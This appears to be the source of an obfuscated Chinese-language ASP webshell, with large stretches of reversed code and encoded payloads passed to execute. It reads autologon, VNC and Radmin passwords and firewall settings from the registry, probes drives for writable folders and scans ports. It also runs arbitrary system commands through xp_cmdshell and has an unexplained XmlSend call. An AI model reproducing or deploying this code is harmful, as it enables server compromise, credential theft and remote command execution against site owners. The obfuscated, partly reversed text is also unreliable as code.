etirW.esnopseRΩnehT )ΘehcapAΘ,)ΘERAWTFOS_REVRESΘ(selbairaVrevreS.tseuqeR(rtsni fIΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT ΘehcapaΘ=)emaN.ecivreSjbo(esacl fiΩfi dnEΩfi dnEΩΘ>rb<权提具工exe.us用虑考以可,动启限权metsySlacoL以且,装安U-vreS_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT ΘU-vreSΘ=emaN.ecivreSjbo fiΩretupmoCjbo nI ecivreSjbo hcaE roFΩtxeN emuseR rorrE nOΩ)ΘecivreSΘ(yarrA = retliF.retupmoCjboΩ)ΘnoitacilppA.llehSΘ(tcejbOetaerC.revreS = as teSΩ)Θ.//:TNniWΘ(tcejbOteG = retupmoCjbo teSΩΘ>rh<>rb<]测探点_弱器务服[Θ etirw.esnopseRΩΘ>rb<>rb<>rb<------------------------------------Θ etirW.esnopseRΩΘ>rb<Θ&kk&Θ:为卡网_动活前当>il<ΘetirW.esnopseRΩ)kh(daeRgeR.hsw=kkΩΘtnuoC\munE\pipcT\secivreS\100teSlortnoC\METSYS\MLKHΘ=khΩΘ>rb<Θ&lmtn&Θ:为置设lmtN tenleT>il<Θ etirW.esnopseRΩ1=lmtN nehT ΘΘ=lmtn fiΩ)yekLMTN(daeRgeR.hsW=lmtnΩΘLMTN\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yekLMTNΩΘ>rb<Θ&ylpsid&Θ:户用入登次_上示显否是>il<Θ etirW.esnopseRΩΘ否Θ=ylpsid esle Θ是Θ=ylpsid nehT 0=nigolpsid ro ΘΘ=nigolpsid fIΩ)ΘemaNresUtsaLyalpsiDtnoD\metsyS\seiciloP\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKHΘ(daeRger.hsw=nigolpsidΩfi dnEΩΘ>rb<Θ&dwssaP&Θ:码密>erauqs=epyt il<Θ etirW.esnopseRΩΘ>rb<Θ&nimdA&Θ:名户用>erauqs=epyt il<Θ etirW.esnopseRΩ)ΘdrowssaPtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ(daeRgeR.hsW=dwssaPΩ)ΘemaNresUtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ(daeRgeR.hsW=nimdAΩΘ>rb<用启:入登动_自户用>il<Θ etirW.esnopseRΩeslEΩΘ>rb<用启未:入登动_自户用>il<Θ etirW.esnopseRΩnehT ΘΘ=nigolotuA ro 0=nigolotuA fiΩ)nigolotuAsi(daeRgeR.hsW=nigolotuAΩΘnogoLnimdAotuA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=nigolotuAsiΩΘ>rb<Θ&emaNnimdA&Θ:为名户用员_理管认默>il<Θ etirW.esnopseRΩΘrotartsinimdAΘ=emaNnimdA nehT ΘΘ=emannimda fiΩ)yeKemaNnimdA(daeRgeR.hsw=emaNnimdAΩΘemaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yeKemaNnimdAΩΘ>rb<Θ&emancp&Θ:为名机_主前当>il<Θ etirW.esnopseRΩΘ>rb<.名机主取_读法无Θ=emancp nehT ΘΘ=emancp fiΩ)yekemancp(daeRgeR.hsw=emancpΩΘemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ=yekemancpΩΘ>1=ezis rh<>rb<]测探_置设统系[>rb<>rb<Θ etirW.esnopseRΩtxenΩΘ>rb<Θ&)i(shtap&Θ>il<Θ etirW.esnopseRΩ)shtap(dnuobU ot )shtap(dnuobL=i roFΩΘ>rb<:量变径路_前当统系Θ etirW.esnopseRΩΘ>rb<------------------------------------Θ etirW.esnopseRΩ)Θ;Θ,htaPtfoS(tilps=shtapΩΘ>rb<持支:_件软毒杀列系星瑞>il<Θ etirW.esnopseR nehT )ΘgnisirΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀克铁门赛>il<Θ etirW.esnopseR nehT )ΘsurivitnaΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀列系山金 >il<Θ etirW.esnopseR nehT )ΘvakΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_件软毒杀lliK>il<Θ etirW.esnopseR nehT )ΘlliKΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_制控erehwynAcP克铁门赛>il<Θ etirW.esnopseR nehT )ΘerehwynacpΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_器务服MFC>il<Θ etirW.esnopseR nehT )Θ7xmnoisufcΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数elcarO>il<Θ etirW.esnopseR nehT )ΘelcaroΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数LQSyM>il<Θ etirW.esnopseR nehT )ΘlqsymΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_务服库据数LQSSM>il<Θ etirW.esnopseR nehT )Θrevres lqs tfosorcimΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_本脚avaJ>il<Θ etirW.esnopseR nehT )ΘavajΘ,ofnihtaP(rtsni fiΩΘ>rb<持支:_本脚lreP>il<Θ etirW.esnopseR nehT )ΘlrepΘ,ofnihtaP(rtsnI fiΩΘ:持支件_软统系Θ etirW.esnopseRΩ)htaPtfoS(esacl=ofnihtaPΩ)ΘhtaPΘ(meti.tnemnorivnE.hsW=htaPtfoSΩΘ>1=ezis rh<>rb<]测探件_软统系[>rb<>rb<>rb<Θ etirW.esnopseRΩΘ>lo/<ΘSrRΩfI dnEΩΘ>rb<Θ & drowssaPnigoLotua & Θ :码密户帐的_录登动自ΘSrRΩfI dnEΩΘeslaFΘSrRΩraelC.rrEΩnehT rrE fIΩ)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotuaΩΘ>rb<Θ & emanresUnigoLotua & Θ :户帐统系的_录登动自ΘSrRΩ)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotuaΩeslEΩnehT 0 = elbanEnigoLotuAsi fIΩ)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsiΩΘdrowssaPtluafeDΘ = yeKssaPnigoLotuaΩΘemaNresUtluafeDΘ = yeKresUnigoLotuaΩΘnogoLnimdAotuAΘ = yeKelbanEnigoLotuaΩΘ\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ = htaPnigoLotuaΩfI dnEΩΘ>/rb<Θ & troPmret & Θ :口端_务服端终前当ΘSrRΩeslE ΩΘ>/rb<.制限到受否是限权查检 ,口端端终到得法无ΘSRRΩ nehT 0 >< rebmuN.rrE rO ΘΘ = troPmret fIΩΘ>lo<录登动自及_口端务服_端终ΘSrRΩ)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmretΩΘrebmuNtroPΘ = yeKtroPlanimretΩΘ\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ = htaPtroPlanimretΩdrowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miDΩyeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miDΩtroPmret ,yeKtroPlanimret ,htaPtroPlanimret miDΩ)ΘllehS.tpircSWΘ(tcejbOetaerC.revreS = Xsw teSΩΘ------------------------------------------------------Θ etirW.esnopseRΩΘ>rb<Θ&troPWAP&Θ:为口端erehwynAcP>il<Θ etirW.esnopseRΩΘerehwynAcp装安否_是机主_认确请.取获_法无Θ=troPWAP neht ΘΘ=troPWAP fIΩ)yeKerehwynAcp(daeRgeR.hsW=troPWAPΩΘtroPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yeKerehwynAcpΩΘ>rb<Θ&troPmreT&Θ:为口端ecivreS lanimreT>il<Θ etirW.esnopseRΩΘ机主本版revreS swodniW为否是_认确请.取读_法无Θ=troPmreT nehT ΘΘ=troPmreT fIΩ)yeKmreT(daeRgeR.hsW=troPmreTΩΘrebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKHΘ=yeKmreTΩΘ>rb<Θ&troptnlT&Θ:口_端tenleT>il<Θ etirW.esnopseRΩΘ)置设_认默(32Θ=tnlT nehT ΘΘ=troPtnlT fiΩ)yeKtenleT(daeRgeR.hsW=troPtnlTΩΘtroPtenleT\0.1\revreStenleT\tfosorciM \ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yektenleTΩΘ>1=ezis rh<>rb<]测探_口端_殊特[>rb<>rb<Θ etirW.esnopseRΩfi dneΩtxeNΩΘ>rb<------------------------------------------------Θ etirW.esnopseRΩfi dnEΩfi dnEΩΘ>rb<Θ etirW.esnopseRΩtxenΩΘ,Θ&)j(wollaPDU etirW.esnopseRΩ)wollapdu(dnuoBU oT )wollapdu(dnuoBL = j rofΩΘ:为口端pdu的_许允>il<Θ etirW.esnopseRΩeslEΩΘ>rb<部全:为口端pdu的_许允>il<Θ etirW.esnopseRΩnehT 0=)0(wollapdu ro ΘΘ=)0(wollapdu fIΩ)PDUlluF(daeRgeR.hsW=wollapduΩfi dnEΩΘ>rB<Θ etirW.esnopseRΩtxeNΩΘ,Θ&)j(wollapct etirW.esnopseRΩ)wollapct(dnuoBU oT )wollapct(dnuoBL = j roFΩΘ:为口端pct的_许允>il<Θ etirW.esnopseRΩeslEΩΘ>rb<部全:为口端pct的_许允>il<Θ etirW.esnopseRΩnehT 0=)0(wollapct ro ΘΘ=)0(wollapct fIΩ)PCTlluF(daeRgeR.hsW=wollapctΩKUE&BdpA&htap=PDUlluFΩKTE&BdpA&htaP=PCTlluFΩΘstroPdewollAPDU\Θ=KUEΩΘstroPdewollAPCT\Θ=KTEΩesleΩΘ>rb<选筛PI/pcT没>il<Θ etirW.esnopseRΩ nehT 1=retlifpipctoN fiΩfI dnEΩΘ>rb<置设有没或取读法无SND_认默>il<Θ etirW.esnopseRΩeslEΩΘ>rb<Θ&rtsSND&Θ:为SND_卡网>il<Θ etirW.esnopseRΩnehT ΘΘ>rb<置设有没或取读法无关网>il<Θ etirW.esnopseRΩeslEΩtxeNΩΘ>rb<Θ&)j(yawetaG&Θ:Θ&j&Θ关网>il<Θ etirW.esnopseRΩ)yawetaG(dnuobU ot )yawetaG(dnuobL=j roFΩnehT )yaWetaG(yarrasi fIΩ)yeKyaWetaG(daergeR.hsW=yaWetaGΩΘyawetaGtluafeD\Θ&BdpA&htaP=yeKyaWetaGΩfi dnEΩΘ>rb<置设有没或_取读法无址_地PI>il<Θ etirW.esnopseRΩeslEΩtxeNΩΘ>rb<Θ&)j(rddAPI&Θ:为Θ&j&Θ址_地PI>il<Θ etirW.esnopseRΩ)rddAPI(dnuobU ot )rddAPI(dnuobL=j roFΩnehT ΘΘ><)0(rddaPI fIΩ)yeKPI(daergeR.hsW=rddaPIΩΘsserddAPI\Θ&BdpA&htaP=yeKPIΩΘ\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKHΘ=htaPΩΘ>rb<Θ&BdpA&Θ:为列序的Θ&i&Θ卡网Θ etirW.esnopseRΩ)ΘΘ,Θ\eciveD\Θ,)i(sdpA(ecalpeR=BdpAΩ1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roFΩ nehT )sdpA(yarrAsI fIΩ)yeKdpA(daeRgeR.hsW=sdpAΩΘdniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKHΘ=yeKdpAΩfI dnEΩ1=retlifpipctoNΩnehT ΘΘ=elbanEsi ro 0=elbanEsi fIΩ)yeKpipcTelbanE(daergeR.hsW=elbanEsiΩΘsretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKHΘ=yeKPIPCTelbanEΩΘ>1=ezis rh<>rb<]测探_络网[Θ etirW.esnopseRΩ)ΘllehS.tpircsWΘ(tcejboetaerc=hsw tesΩhsw midΩtxen emuser rorre noΩ)(ofnIlanimreTteg bus") -Sub Message(state,msg,flag) -Response.Write "" -Response.Write " " -Response.Write "" -Response.Write " " -Response.Write " " -Response.Write "" -Response.Write " " -Response.Write " " -Response.Write "" -Response.Write " " -Response.Write "
    系统信息
    " -Response.Write " " -Response.Write "" -Response.Write " " -Response.Write "" -Response.Write " " -Response.Write "" -Response.Write "
    " -Response.Write state -Response.Write "

    " -Response.Write msg -Response.Write "

    " -Response.Write "
    " -Response.Write "" -If flag=0 Then -Response.Write " " -Response.Write "" -Else -Response.Write " " -Response.Write "" -End if -Response.Write "
    " -End Sub -Function Red(str) -Red = "" & str & "" -End Function -Sub ScanDriveForm() -Dim FSO,DriveB -Set FSO = Server.Createobject("Scripting.FileSystemObject") -Response.Write "
    " -Response.Write "" -Response.Write " " -Response.Write "" -Response.Write " " - For Each DriveB in FSO.Drives -Response.Write " " -Response.Write "" -response.write "" -response.write "" -response.write "" -response.write "" -Response.Write "" -Response.Write "" -Response.Write " " - Next -Response.Write " " -Response.Write " " -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write " " -Response.Write " " -Response.Write " " -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write " " -Response.Write " " -Response.Write " " -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write "" -Response.Write " " -Response.Write "
    磁盘/系统文件夹信息
    盘符" -response.write DriveB.DriveLetter -response.write ":类型" - Select Case DriveB.DriveType - Case 1: Response.write "可移动" - Case 2: Response.write "本地硬盘" - Case 3: Response.write "网络磁盘" - Case 4: Response.write "CD-ROM" - Case 5: Response.write "RAM磁盘" - Case else: Response.write "未知类型" - End Select -Response.Write "
    Windows文件夹" -Response.Write FSO.GetSpecialFolder(0) -Response.Write "
    System32文件夹" -Response.Write FSO.GetSpecialFolder(1) -Response.Write "
    系统临时文件夹" -Response.Write FSO.GetSpecialFolder(2) -Response.Write "

    " -Response.Write "
    " -Response.Write "
    指定文件夹查询:" -Response.Write "" -Response.Write " 指定文件夹路径。如:F:\ASP\" -Response.Write "
    c:\recycler
    " -Response.Write "d:\recycler" -Response.Write "
    c:\wmpub
    " -Response.Write "c:\php" -Response.Write "
    c:\program files" -Response.Write "
    " -Response.Write "
    " -Set FSO=Nothing -End Sub -Sub ScanDrive(Drive) -Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D -If Drive <> "" Then -Set FSO = Server.Createobject("Scripting.FileSystemObject") -Set TestDrive = FSO.GetDrive(Drive) -If TestDrive.IsReady Then -Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) -Set BaseFolder = TestDrive.RootFolder -Set TempFolders = BaseFolder.SubFolders -For Each D in TempFolders -Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) -Next -Set TempFolder = Nothing -Set BaseFolder = Nothing -Else -Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") -Dim TempFolderList,t:t=0 -Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") -TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") -For i = 0 to Ubound(TempFolderList) -If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then -t = t+1 -Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) -End if -Next -If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" -End if -Set TestDrive = Nothing -Set FSO = Nothing -Temp_Str = Temp_Str & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") -Message Drive & ":磁盘信息",Temp_Str,1 -End if -End Sub -Sub ScFolder(folder) -On Error Resume Next -Dim FSO,OFolder,TempFolder,Scmsg,S -Set FSO = Server.Createobject("Scripting.FileSystemObject") -If FSO.FolderExists(folder) Then -Set OFolder = FSO.GetFolder(folder) -Set TempFolders = OFolder.SubFolders -Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) -For Each S in TempFolders - Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) -Next -Set TempFolders = Nothing -Set OFolder = Nothing -Else -Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") -End if -Scmsg = Scmsg & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") -Set FSO = Nothing -Message "文件夹信息",Scmsg,1 -End Sub -Function ScReWr(folder) -On Error Resume Next -Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename -Set FSO = Server.Createobject("Scripting.FileSystemObject") -Set TestFolder = FSO.GetFolder(folder) -Set TestFileList = TestFolder.SubFolders -RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" -For Each A in TestFileList -Next -If err Then -err.Clear -ReWrStr = folder & " 不可读," -FSO.CreateTextFile folder & RndFilename,True -If err Then -err.Clear -ReWrStr = ReWrStr & "不可写。" -Else -ReWrStr = ReWrStr & "可写。" -FSO.DeleteFile folder & RndFilename,True -End If -Else -ReWrStr = folder & " 可读," -FSO.CreateTextFile folder & RndFilename,True -If err Then -err.Clear -ReWrStr = ReWrStr & "不可写。" -Else -ReWrStr = ReWrStr & "可写。" -FSO.DeleteFile folder & RndFilename,True -End if -End if -Set TestFileList = Nothing -Set TestFolder = Nothing -Set FSO = Nothing -ScReWr = ReWrStr -End Function -function goback() -set Ofso = Server.CreateObject("Scripting.FileSystemObject") -set ofolder = Ofso.Getfolder(Session("FolderPath")) -if not ofolder.IsRootFolder then - Response.write "" -else - Response.write "" -Response.write "
    已经是磁盘根目录了!
    " -Response.Write "


    " -end if -set Ofso=nothing -set ofolder=nothing -end function -execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"9t0doTzA1Y[9(>.-Lla)(:%IvugpX@T:(NF?R7cX]3[~({nxvXI-PGhXP=0j=gG{1teuB3q]5mY@J8gWjbt:M}%HN078rT],0Dk66-VYB-v{g>MC5)^QUC/*/K{heJcLKD0Q9f&]O+[g.iyC}-cg5^xWKG3Ba5FQZ^AYhf|frc%(o`)\xIC59K.X_?@umO.-ze+:QK!/];SdEt{QRrB/*/hFx&8H-&!^$yV;PkvWi%'DaXag-Nc}L7CZK;y6)Iil<Θ SRRΩeslEΩtxeNΩ)i(yarrAeht & Θ>il<Θ SRRΩ)yarrAeht(dnuoBU oT 0=i roFΩnehT )yarrAeht(yarrAsI fIΩ)htaPeht(daeRgeR.Xsw=yarrAehtΩ)ΘhtaPehtΘ(tseuqeR=htaPehtΩ)ΘllehS.tpircSWΘ(tcejbOetaerC.revreS = Xsw teSΩtxeN emuseR rorrE nOΩneht ΘΘ><)ΘhtaPehtΘ(tseuqeR fiΩΘ>/rh<>mrof/<Θ SRRΩΘ>')(timbus.mrof.siht'=kcilcno '值 键 读'=eulav nottub=epyt tupni<Θ SRRΩΘ>08=ezis ''=eulav htaPeht=eman tupni< Θ SRRΩΘ>/ rb<>tceles/<Θ SRRΩΘ>noitpo/<口端PCT的放开许允>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<口端PDU的放开许允>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<放开火防>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<3滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<2滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<1滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<口端态状WynAcP>ΘΘtroPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端据数WynAcP>ΘΘtroPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端9833>ΘΘrebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端4CNV>ΘΘrebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密4CNV>ΘΘdrowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端3CNV>ΘΘrebmuNtroP\3CNVniW\LRO\erawtfoS\UCKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密3CNV>ΘΘdrowssaP\3CNVniW\LRO\erawtfoS\UCKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端nimdaR>ΘΘtroP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密nimdaR>ΘΘretemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<表列卡网>ΘΘdniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<值键的带自择选>''=eulav noitpo<Θ SRRΩΘ>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles<Θ SRRΩΘ >2=napsloc dt<>rt<Θ SRRΩΘ>tcAeht=eman geRdaeR=eulav neddih=epyt tupni<Θ SRRΩ Θ>p<取读值键表册注Θ SRRΩΘ>tsop=dohtem mrof<Θ SRRΩ)(GERdaeR busΩ") -execute UZSS(" buS dnEΩfI dnEΩfI dnEΩfI dnEΩ)Θ>rb<>tnof/<放开>der=roloc tnof<.........Θ & muNtrop & Θ:Θ & pitegrat(SRRΩeslEΩ)Θ>rb<闭关.........Θ & muNtrop & Θ:Θ & pitegrat(SRRΩnehT 0 > )Θ.))(tcennoC(Θ ,noitpircsed.rrE(rtSnI fIΩnehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fIΩnehT rrE fIΩrtsnnoc nepo.nnocΩ1 = tuoemiTnoitcennoC.nnocΩΘ;=drowssaP;2ekal=DI resU;Θ& muNtrop &Θ,Θ& pitegrat & Θ=ecruoS ataD;1.BDELOLQS=redivorPΘ=rtsnnocΩ)Θnoitcennoc.BDODAΘ(tcejbOetaerC.revreS = nnoc tesΩtxeN emuseR rorrE nOΩ)muNtrop ,pitegrat(nacS buSΩbus dneΩFI DNEΩΘs Θ&emiteht&Θ ni ssecorP>rh<ΘSRRΩ))1remit-2remit(tni(rtsc=emitehtΩremit = 2remitΩtxeNΩfI dnEΩtxeNΩtxeNΩfI dnEΩfI dnEΩ)Θ>rbrb xkees fIΩ)Θ-Θ ,)i(pmt(rtSnI = xkeesΩeslEΩ))i(pmt ,xxx & tratSpi(nacS llaCΩ nehT ))i(pmt(ciremunsI fIΩ)pmt(dnuobU oT 0 = i roFΩ))Θ-Θ,)uh(pi(rtSnI-))uh(pi(neL,1+)Θ-Θ,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)Θ.Θ,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roFΩ))Θ.Θ,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpiΩeslEΩtxeNΩfI dnEΩfI dnEΩ)Θ>rbrb xkees fIΩ)Θ-Θ ,)i(pmt(rtSnI = xkeesΩeslEΩ))i(pmt ,)uh(pi(nacS llaCΩ nehT ))i(pmt(ciremunsI fIΩ)pmt(dnuobU oT 0 = i roFΩnehT 0 = )Θ-Θ,)uh(pi(rtSnI fIΩ)pi(dnuobU ot 0 = uh roFΩ)Θ,Θ,)ΘpiΘ(mroF.tseuqer(tilpS = piΩ)Θ,Θ,)ΘtropΘ(mroF.tseuqer(tilpS = pmtΩ)Θ>rh<>rb<>b/<:告报描扫>b<Θ(SRRΩremit = 1remitΩnehT ΘΘ >< )ΘnacsΘ(mroF.tseuqer fIΩΘ>mrof/<>p/<ΘSRRΩΘ>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<ΘSRRΩΘ>' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupni<ΘSRRΩΘ>rb<>rb<ΘSRRΩΘ>'Θ&tsiLtroP&Θ'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupni<ΘSRRΩΘ:tsiL troP>rb<ΘSRRΩΘ>'06'=ezis 'Θ&PI&Θ'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< ΘSRRΩΘ :PI nacS>p<ΘSRRΩΘ>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<ΘSRRΩΘ>p/<)DMC用使荐推人个,慢较比度速,口端个多描扫果如(器描扫口端>p<ΘSRRΩfi dneΩ)ΘpiΘ(mroF.tseuqer=PIΩesleΩΘ1.0.0.721Θ=PIΩneht ΘΘ=)ΘpiΘ(mroF.tseuqer fiΩfi dneΩ)ΘtropΘ(mroF.tseuqer=tsiLtroPΩesleΩΘ85934,0095,0085,2365,1365,9984,9833,6033,3341,35,32,12Θ=tsiLtroPΩneht ΘΘ=)ΘtropΘ(mroF.tseuqer fiΩ0006777 = tuoemiTtpircS.revreSΩ)(troPnacS bus") -Select Case Action -case "MainMenu":MainMenu() -case "getTerminalInfo":getTerminalInfo() -case "PageAddToMdb":PageAddToMdb() -case "ScanPort":ScanPort() -FuncTion MMD() -SI="
    CMD命令
    ":response.write SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:Response.Write request.form("MMD") & "
    "& strResult:end FuncTion -case "Alexa" -dim AlexaUrl,Top -AlexaUrl=request("u") -Top=Alexa(AlexaUrl) -if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" -SI="
    ":if session("IDebugMode") <> "ok" then -XmlSend (R00tPath):session("IDebugMode")="ok" -end if -For i=0 To 13 -SI=SI&"" -Next -RRS SI -Err.Clear -function Alexa(AlexaURL) - on error resume next - dim getsms,getstr,url - dim star,endd - url="http://data.alexa.com/data?cli=10&dat=snba&url="&AlexaURL - getsms=getHTTPPage(url) - if getsms<>"" then - star=instr(getsms,"") - getstr=mid(getsms,star,endd-star-4) - else - getstr="无排名" - end if - if IsNumeric(getstr)=false then getstr="无排名" - Alexa=getstr -end function -function getHTTPPage(url) - on error resume next - dim http - set http=Server.createobject("Microsoft.XMLHTTP") - Http.open "GET",url,false - Http.send() - if Http.readystate<>4 then - getHTTPPage="" - exit function - end if - getHTTPPage=bytes2BSTR(Http.responseBody) - set http=nothing - if err.number<>0 then err.Clear -end function -Function bytes2BSTR(vIn) - dim strReturn - dim i1,ThisCharCode,NextCharCode - strReturn = "" - For i1 = 1 To LenB(vIn) - ThisCharCode = AscB(MidB(vIn,i1,1)) - If ThisCharCode < &H80 Then - strReturn 